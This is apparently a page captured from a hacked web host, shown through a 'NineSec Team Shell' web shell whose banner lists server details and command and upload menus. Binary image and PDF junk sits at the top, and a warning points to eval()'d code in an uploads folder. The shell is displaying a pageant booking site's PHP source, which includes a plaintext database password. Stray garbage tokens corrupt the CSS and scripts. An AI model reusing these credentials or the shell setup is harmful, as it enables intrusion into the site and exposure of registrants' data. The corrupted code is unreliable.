JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/misschhattisgarh.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/misschhattisgarh.com/public_html/view-event.php
<?php
// Database connection
define('DB_HOST', 'localhost');
define('DB_USER', 'u178500310_mz');
define('DB_PASS', 'Tanveer@#14321');
define('DB_NAME', 'u178500310_mz');

// Create bookings table if it doesn't exist
function createBookingsTable($pdo) {
    $sql = "CREATE TABLE IF NOT EXISTS bookings (
        id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY,
        event_id INT(11) DEFAULT NULL,
        first_name VARCHAR(100) NOT NULL,
        last_name VARCHAR(100) NOT NULL,
        email VARCHAR(255) NOT NULL,
        phone VARCHAR(20) NOT NULL,
        city VARCHAR(100) NOT NULL,
        role ENUM('contestant', 'audience') NOT NULL,
        ticket_count INT(11) DEFAULT 1,
        status ENUM('pending', 'confirmed', 'cancelled') DEFAULT 'pending',
        booking_reference VARCHAR(20) NOT NULL UNIQUE,
        created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
        updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
    )";
    
    try {
        $pdo->exec($sql);
    } catch (PDOException $e) {
        die("Error creating bookings table: " . $e->getMessage());
    }
}

// Generate unique booking reference
function generateBookingReference() {
    return 'MM' . strtoupper(substr(uniqid(), -8)) . rand(10, 99);
}

// Process form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['book_event'])) {
    try {
        $pdo = new PDO(
            "mysql:host=".DB_HOST.";dbname=".DB_NAME.";charset=utf8mb4",
            DB_USER,
            DB_PASS,
            [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES => false
            ]
        );
        
        // Create table if it doesn't exist
        createBookingsTable($pdo);
        
        // Validate and sanitize input
        $first_name = filter_var(trim($_POST['first_name']), FILTER_SANITIZE_STRING);
        $last_name = filter_var(trim($_POST['last_name']), FILTER_SANITIZE_STRING);
        $email = filter_var(trim($_POST['email']), FILTER_SANITIZE_EMAIL);
        $phone = filter_var(trim($_POST['phone']), FILTER_SANITIZE_STRING);
        $city = filter_var(trim($_POST['city']), FILTER_SANITIZE_STRING);
        $role = $_POST['role'];
        $ticket_count = ($role === 'audience') ? intval($_POST['tickets']) : 1;
        $event_id = isset($_POST['event_id']) ? intval($_POST['event_id']) : null;
        
        // Validate required fields
        if (empty($first_name) || empty($last_name) || empty($email) || empty($phone) || empty($city)) {
            throw new Exception("All fields are required.");
        }
        
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            throw new Exception("Please enter a valid email address.");
        }
        
        // Generate booking reference
        $booking_reference = generateBookingReference();
        
        // Insert booking into database
        $stmt = $pdo->prepare("INSERT INTO bookings (event_id, first_name, last_name, email, phone, city, role, ticket_count, booking_reference) 
                              VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)");
        
        $stmt->execute([$event_id, $first_name, $last_name, $email, $phone, $city, $role, $ticket_count, $booking_reference]);
        
        // Send confirmation email (you would implement this in a real system)
        // sendConfirmationEmail($email, $first_name, $booking_reference);
        
        // Set success message
        $success_message = "Thank you for your booking! Your reference number is: <strong>$booking_reference</strong>";
        
    } catch (PDOException $e) {
        $error_message = "Database error: " . $e->getMessage();
    } catch (Exception $e) {
        $error_message = $e->getMessage();
    }
}

// Fetch event data from database
try {
    $pdo = new PDO(
        "mysql:host=".DB_HOST.";dbname=".DB_NAME.";charset=utf8mb4",
        DB_USER,
        DB_PASS,
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $stmt = $pdo->prepare("SELECT * FROM events WHERE is_active = 1 ORDER BY date DESC LIMIT 1");
    $stmt->execute();
    $event = $stmt->fetch();
    
    if (!$event) {
        // Use default values if no event found
        $event = [
            'id' => 1,
            'title' => 'Miss Chhattisgarh 2023',
            'description' => 'The most prestigious beauty pageant in Northeast India',
            'date' => '2023-12-15',
            'time' => '18:00:00',
            'venue' => 'Rahul Gandhi Stadium, Aizawl, Chhattisgarh',
            'banner_image' => '',
            'participants' => '[]',
            'performers' => '[]',
            'chief_guest' => '[]',
            'jury' => '[]',
            'organizer' => '[]',
            'show_director' => '[]'
        ];
    }
    
    // Decode JSON fields
    $event['participants'] = json_decode($event['participants'] ?? '[]', true);
    $event['performers'] = json_decode($event['performers'] ?? '[]', true);
    $event['chief_guest'] = json_decode($event['chief_guest'] ?? '[]', true);
    $event['jury'] = json_decode($event['jury'] ?? '[]', true);
    $event['organizer'] = json_decode($event['organizer'] ?? '[]', true);
    $event['show_director'] = json_decode($event['show_director'] ?? '[]', true);
    
} catch (PDOException $e) {
    die("Error fetching event data: " . $e->getMessage());
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title><?php echo htmlspecialchars($event['title']); ?> - Grand Finale</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;700&family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary-color: #d4af37;
            --secondary-color: #8b0000;
            --dark-color: #1a1a1a;
            --light-color: #f8f9fa;
        }
        
        body {
            font-family: 'Poppins', sans-serif;
            background-color: #fefefe;
            color: #333;
            line-height: 1.6;
        }
        
        h1{
            font-family: 'Playfair Display', serif;
            color: var(--primary-color);
        }
        
         h2, h3, h4, h5 {
            font-family: 'Playfair Display', serif;
            color: var(--dark-color);
        }
        
        .hero-section {
            background: linear-gradient(rgba(0,0,0,0.7), rgba(0,0,0,0.7)), url('https://images.unsplash.com/photo-1514525253161-7a46d19cd819?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=1600&q=80');
            background-size: cover;
            background-position: center;
            color: white;
            padding: 5rem 0;
            text-align: center;
            margin-bottom: 3rem;
        }
        
        .section-title {
            position: relative;
            padding-bottom: 15px;
            margin-bottom: 30px;
            text-align: center;
        }
        
        .section-title:after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 50%;
            transform: translateX(-50%);
            width: 80px;
            height: 4px;
            background: var(--primary-color);
        }
        
        .countdown-box {
            background: rgba(0, 0, 0, 0.7);
            border-radius: 10px;
            padding: 20px;
            margin: 20px auto;
            max-width: 600px;
        }
        
        .countdown-item {
            display: inline-block;
            margin: 0 10px;
            text-align: center;
        }
        
        .countdown-number {
            font-size: 2.5rem;
            font-weight: bold;
            color: var(--primary-color);
            line-height: 1;
        }
        
        .countdown-label {
            font-size: 0.9rem;
            text-transform: uppercase;
            color: white;
        }
        
        .event-detail-card {
            border-radius: 10px;
            overflow: hidden;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            transition: transform 0.3s ease;
            height: 100%;
        }
        
        .event-detail-card:hover {
            transform: translateY(-5px);
        }
        
        .event-detail-card .card-body {
            padding: 1.5rem;
        }
        
        .icon-box {
            width: 60px;
            height: 60px;
            background: var(--primary-color);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 1rem;
            font-size: 1.5rem;
            color: white;
        }
        
        .judge-card {
            text-align: center;
            margin-bottom: 30px;
        }
        
        .judge-img {
            width: 150px;
            height: 150px;
            border-radius: 50%;
            object-fit: cover;
            margin: 0 auto 15px;
            border: 5px solid var(--primary-color);
        }
        
        .btn-primary {
            background-color: var(--secondary-color);
            border-color: var(--secondary-color);
            padding: 10px 25px;
            font-weight: 600;
            transition: all 0.3s;
        }
        
        .btn-primary:hover {
            background-color: #6a0dad;
            border-color: #6a0dad;
            transform: translateY(-2px);
        }
        
        .btn-outline-primary {
            color: var(--secondary-color);
            border-color: var(--secondary-color);
            padding: 10px 25px;
            font-weight: 600;
            transition: all 0.3s;
        }
        
        .btn-outline-primary:hover {
            background-color: var(--secondary-color);
            color: white;
        }
        
        .schedule-item {
            border-left: 3px solid var(--primary-color);
            padding-left: 20px;
            margin-bottom: 30px;
            position: relative;
        }
        
        .schedule-item:before {
            content: '';
            position: absolute;
            left: -8px;
            top: 0;
            width: 13px;
            height: 13px;
            border-radius: 50%;
            background: var(--primary-color);
        }
        
        .schedule-time {
            font-weight: 600;
            color: var(--secondary-color);
            margin-bottom: 5px;
        }
        
        .gallery-img {
            border-radius: 8px;
            overflow: hidden;
            margin-bottom: 20px;
            box-shadow: 0 5px极速15px rgba(0,0,0,0.1);
            transition: transform 0.3s ease;
        }
        
        .gallery-img:hover {
            transform: scale(1.03);
        }
        
        .sponsor-img {
            max-height: 80px;
            margin: 15px;
            filter: grayscale(100%);
            opacity: 0.7;
            transition: all 0.3s;
        }
        
        .sponsor-img:hover {
            filter: grayscale(0%);
            opacity: 1;
        }
        
        footer {
            background: #8b8b8bff;
            color: white;
            padding: 3rem 0 1rem;
            margin-top: 4rem;
        }
        
        .social-icon {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            background: rgba(255,255极速,255,0.1);
            display: inline-flex;
            align-items: center;
            justify-content: center;
            margin: 0 5px;
            transition: all 0.3s;
        }
        
        .social-icon:hover {
            background: var(--primary-color);
            transform: translateY(-3px);
        }
        
        .alert-box {
            position: fixed;
            top: 20px;
            right: 20px;
            z-index: 9999;
            max-width: 400px;
        }
    </style>
</head>
<body>
    <!-- Display success/error messages -->
    <?php if (isset($success_message)): ?>
    <div class="alert-box">
        <div class="alert alert-success alert-dismissible fade show" role="alert">
            <?php echo $success_message; ?>
            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
        </div>
    </div>
    <?php endif; ?>
    
    <?php if (isset($error_message)): ?>
    <div class="alert-box">
        <div class="alert alert-danger alert-dismissible fade show" role="alert">
            <?php echo $error_message; ?>
            <button type极速="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
        </div>
    </div>
    <?php endif; ?>

    <!-- Hero Section -->
    <section class="hero-section">
        <div class="container">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="display-3 fw-bold"><?php echo htmlspecialchars($event['title']); ?></h1>
                    <p class="h4 mt-4">
                        <?php echo date('F j, Y', strtotime($event['date'])); ?> | 
                        <?php echo date('g:i A', strtotime($event['time'])); ?> | 
                        <?php echo htmlspecialchars($event['venue']); ?>
                    </p>
                    
                    <div class="mt-4">
                        <button class="btn btn-primary btn-lg" data-bs-toggle="modal" data-bs-target="#registerModal">
                            <i class="fas fa-ticket-alt me-2"></i>Book Now
                        </button>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- About Section -->
    <section id="about" class="py-5">
        <div class="container">
            <h2 class="section-title">About The Event</h2>
            <div class="row">
                <div class="col-lg-6">
                    <p class="lead"><?php echo htmlspecialchars($event['description']); ?></p>
                    <p>This year's edition promises to be the most spectacular yet, with contestants from all over the state competing for the coveted crown. The winner will represent Chhattisgarh at the national level and work with various charitable organizations.</p>
                    <p>The pageant focuses on beauty with a purpose, emphasizing the importance of social causes and community development.</p>
                </div>
                <div class="col-lg-6">
                    <div class="card event-detail-card">
                        <div class="card-body text-center">
                            <div class="icon-box">
                                <i class="fas fa-crown"></i>
                            </div>
                            <h4>Beauty With A Purpose</h4>
                            <p>Contestants will showcase their advocacy projects focused on community development and social causes.</p>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Event Details -->
    <section class="py-5 bg-light">
        <div class="container">
            <h2 class="section-title">Event Details</h2>
            <div class="row">
                <div class="col-md-4 mb-4">
                    <div class="card event-detail-card">
                        <div class="card-body text-center">
                            <div class="icon-box">
                                <i class="fas fa-map-marker-alt"></i>
                            </div>
                            <h4>Venue</h4>
                            <p><?php echo htmlspecialchars($event['venue']); ?></p>
                        </div>
                    </div>
                </div>
                <div class="col-md-4 mb-4">
                    <div class="card event-detail-card">
                        <div class="card-body text-center">
                            <div class="icon-box">
                                <i class="far fa-calendar-alt"></i>
                            </div>
                            <h4>Date & Time</h4>
                            <p>
                                <?php echo date('F j, Y', strtotime($event['date'])); ?><br>
                                <?php echo date('g:i A', strtotime($event['time'])); ?>
                            </p>
                        </div>
                    </div>
                </div>
                <div class="col-md-4 mb-4">
                    <div class="card event-detail-card">
                        <div class="card-body text-center">
                            <div class="icon-box">
                                <i class="fas fa-ticket-alt"></i>
                            </div>
                            <h4>Tickets</h4>
                            <p>Starting at ₹500<br>Limited seats available</p>
                            <button class="btn btn-sm btn-primary mt-2" data-bs-toggle="modal" data-bs-target="#registerModal">Book Now</button>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Participants Section -->
    <?php if (!empty($event['participants'])): ?>
    <section class="py-5">
        <div class="container">
            <h2 class="section-title">Participants</h2>
            <div class="row">
                <?php foreach ($event['participants'] as $participant): ?>
                <div class="col-md-3 mb-4">
                    <div class="card text-center">
                        <div class="card-body">
                            <h5 class="card-title"><?php echo htmlspecialchars($participant); ?></h5>
                            <p class="card-text">Contestant</p>
                        </div>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </section>
    <?php endif; ?>

    <!-- Jury Section -->
    <?php if (!empty($event['jury'])): ?>
    <section class="py-5 bg-light">
        <div class="container">
            <h2 class="section-title">Our Judges</h2>
            <div class="row">
                <?php foreach ($event['jury'] as $judge): ?>
                <div class="col-md-4 mb-4">
                    <div class="judge-card">
                        <img src="https://images.unsplash.com/photo-1544005313-94ddf0286df2?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=400&q=80" alt="Judge" class="judge-img">
                        <h4><?php echo htmlspecialchars($judge); ?></h4>
                        <p>Esteemed Judge</p>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </section>
    <?php endif; ?>

    <!-- Chief Guest Section -->
    <?php if (!empty($event['chief_guest'])): ?>
    <section class="py-5">
        <div class="container">
            <h2 class="section-title">Chief Guests</h2>
            <div class="row">
                <?php foreach ($event['chief_guest'] as $guest): ?>
                <div class="col-md-4 mb-4">
                    <div class="judge-card">
                        <img src="https://images.unsplash.com/photo-1552058544-f2b08422138a?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=400&q=80" alt="Chief Guest" class="judge-img">
                        <h4><?php echo htmlspecialchars($guest); ?></h4>
                        <p>Chief Guest</p>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </section>
    <?php endif; ?>

    <!-- Organizers Section -->
    <?php if (!empty($event['organizer'])): ?>
    <section class="py-5 bg-light">
        <div class="container">
            <h2 class="section-title">Organizers</h2>
            <div class="row">
                <?php foreach ($event['organizer'] as $organizer): ?>
                <div class="col-md-4 mb-4">
                    <div class="card text-center">
                        <div class="card-body">
                            <h5 class="card-title"><?php echo htmlspecialchars($organizer); ?></h5>
                            <p class="card-text">Organizer</p>
                        </div>
                    </div>
                </div>
                <?php endforeach; ?>
            </div>
        </div>
    </section>
    <?php endif; ?>
    
    
    <!-- Registration Modal -->
    <div class="modal fade" id="registerModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Register for <?php echo htmlspecialchars($event['title']); ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <form method="POST" id="bookingForm">
                        <input type="hidden" name="book_event" value="1">
                        <input type="hidden" name="event_id" value="<?php echo $event['id']; ?>">
                        
                        <div class="row">
                            <div class="col-md-6 mb-3">
                                <label for="first_name" class="form-label">First Name *</label>
                                <input type="text" class="form-control" id="first_name" name="first_name" required>
                                <div class="invalid-feedback">Please provide your first name.</div>
                            </div>
                            <div class="col-md-6 mb-3">
                                <label for="last_name" class="form-label">Last Name *</label>
                                <input type="text" class="form-control" id="last_name" name="last_name" required>
                                <div class="invalid-feedback">Please provide your last name.</div>
                            </div>
                        </div>
                        
                        <div class="row">
                            <div class="col-md-6 mb-3">
                                <label for="email" class="form-label">Email Address *</label>
                                <input type="email" class="form-control" id="email" name="email" required>
                                <div class="invalid-feedback">Please provide a valid email address.</div>
                            </div>
                            <div class="col-md-6 mb-3">
                                <label for="phone" class="form-label">Phone Number *</label>
                                <input type="tel" class="form-control" id="phone" name="phone" required>
                                <div class="invalid-feedback">Please provide your phone number.</div>
                            </div>
                        </div>
                        
                        <div class="mb-3">
                            <label for="city" class="form-label">City *</label>
                            <input type="text" class="form-control" id="city" name="city" required>
                            <div class="invalid-feedback">Please provide your city.</div>
                        </div>
                        
                        <div class="mb-3">
                            <label class="form-label">Are you registering as a: *</label>
                            <div class="form-check">
                                <input class="form-check-input" type="radio" name="role" id="contestant" value="contestant" checked>
                                <label class="form-check-label" for="contestant">
                                    Contestant
                                </label>
                            </div>
                            <div class="form-check">
                                <input class="form-check-input" type="radio" name="role" id="audience" value="audience">
                                <label class="form-check-label" for="audience">
                                    Audience Member
                                </label>
                            </div>
                        </div>
                        
                        <div class="mb-3" id="ticketSection" style="display: none;">
                            <label for="tickets" class="form-label">Number of Tickets *</label>
                            <select class="form-select" id="tickets" name="tickets">
                                <option value="1">1 Ticket - ₹500</option>
                                <option value="2">2 Tickets - ₹900</option>
                                <option value="3">3 Tickets - ₹1,200</option>
                                <option value="4">4 Tickets - ₹1,500</option>
                            </select>
                        </div>
                        
                        <div class="form-check mb-3">
                            <input class="form-check-input" type="checkbox" id="terms" required>
                            <label class="form-check-label" for="terms">
                                I agree to the <a href="#" data-bs-toggle="modal" data-bs-target="#termsModal">terms and conditions</a> *
                            </label>
                            <div class="invalid-feedback">You must agree before submitting.</div>
                        </div>
                        
                        <button type="submit" class="btn btn-primary w-100">Complete Booking</button>
                    </form>
                </div>
            </div>
        </div>
    </div>

    <!-- Terms and Conditions Modal -->
    <div class="modal fade" id="termsModal" tabindex="-1" aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">Terms and Conditions</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <h6>Booking Terms</h6>
                    <ul>
                        <li>All ticket sales are final and non-refundable</li>
                        <li>Seating is on a first-come, first-served basis</li>
                        <li>Children under 5 are not permitted</li>
                        <li>Photography and recording devices are not allowed</li>
                        <li>The organizers reserve the right to refuse entry</li>
                    </ul>
                    
                    <h6>Contestant Terms</h6>
                    <ul>
                        <li>Must be between 18-27 years of age</li>
                        <li>Must be a resident of Chhattisgarh</li>
                        <li>Must not be married or have children</li>
                        <li>Must agree to participate in all event activities</li>
                    </ul>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>

    <!-- Footer -->
    <footer>
        <div class="container">
            <div class="row">
                <div class="col-md-4 mb-4">
                    <h4><?php echo htmlspecialchars($event['title']); ?></h4>
                    <p>Celebrating beauty, talent and intelligence of Mizo women.</p>
                </div>
                <div class="col-md-4 mb-4">
                    <h4>Contact Us</h4>
                    <p><i class="fas fa-map-marker-alt me-2"></i> Aizawl, Chhattisgarh</p>
                    <p><i class="fas fa-phone me-2"></i> +91 9876543210</p>
                    <p><i class="fas fa-envelope me-2"></i> info@missChhattisgarh.com</p>
                </div>
                <div class="col-md-4 mb-4">
                    <h4>Follow Us</h4>
                    <a href="#" class="social-icon"><i class="fab fa-facebook-f"></i></a>
                    <a href="#" class="social-icon"><i class="fab fa-instagram"></i></a>
                    <a href="#" class="social-icon"><i class="fab fa-twitter"></i></a>
                    <a href="#" class="social-icon"><i class="fab fa-youtube"></i></a>
                </div>
            </div>
            <div class="text-center mt-4 pt-3 border-top">
                <p>&copy; 2023 Miss Chhattisgarh. All rights reserved.</p>
            </div>
        </div>
    </footer>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
    <script>
        // Countdown Timer
        function updateCountdown() {
            const eventDate = new Date('<?php echo $event['date']; ?> <?php echo $event['time']; ?>').getTime();
            const now = new Date().getTime();
            const distance = eventDate - now;
            
            const days = Math.floor(distance / (1000 * 60 * 60 * 24));
            const hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
            const minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
            const seconds = Math.floor((distance % (1000 * 60)) / 1000);
            
            document.getElementById('days').innerText = days.toString().padStart(2, '0');
            document.getElementById('hours').innerText = hours.toString().padStart(2, '0');
            document.getElementById('minutes').innerText = minutes.toString().padStart(2极速, '0');
            document.getElementById('seconds').innerText = seconds.toString().padStart(2, '0');
            
            if (distance < 0) {
                clearInterval(countdownTimer);
                document.getElementById('days').innerText = '00';
                document.getElementById('hours').innerText = '00';
                document.getElementById('minutes').innerText = '00';
                document.getElementById('seconds').innerText = '00';
            }
        }
        
        const countdownTimer = setInterval(updateCountdown, 1000);
        updateCountdown();
        
        // Registration form toggle
        document.querySelectorAll('input[name="role"]').forEach(radio => {
            radio.addEventListener('change', function() {
                const ticketSection = document.getElementById('ticketSection');
                if (this.value === 'audience') {
                    ticketSection.style.display = 'block';
                } else {
                    ticketSection.style.display = 'none';
                }
            });
        });
        
        // Form validation
        document.getElementById('bookingForm').addEventListener('submit', function(event) {
            if (!this.checkValidity()) {
                event.preventDefault();
                event.stopPropagation();
            }
            this.classList.add('was-validated');
        });
        
        // Auto-close alerts after 5 seconds
        const alerts = document.querySelectorAll('.alert');
        alerts.forEach(alert => {
            setTimeout(() => {
                const bsAlert = new bootstrap.Alert(alert);
                bsAlert.close();
            }, 5000);
        });
    </script>
</body>
</html>

NineSec Team - 2022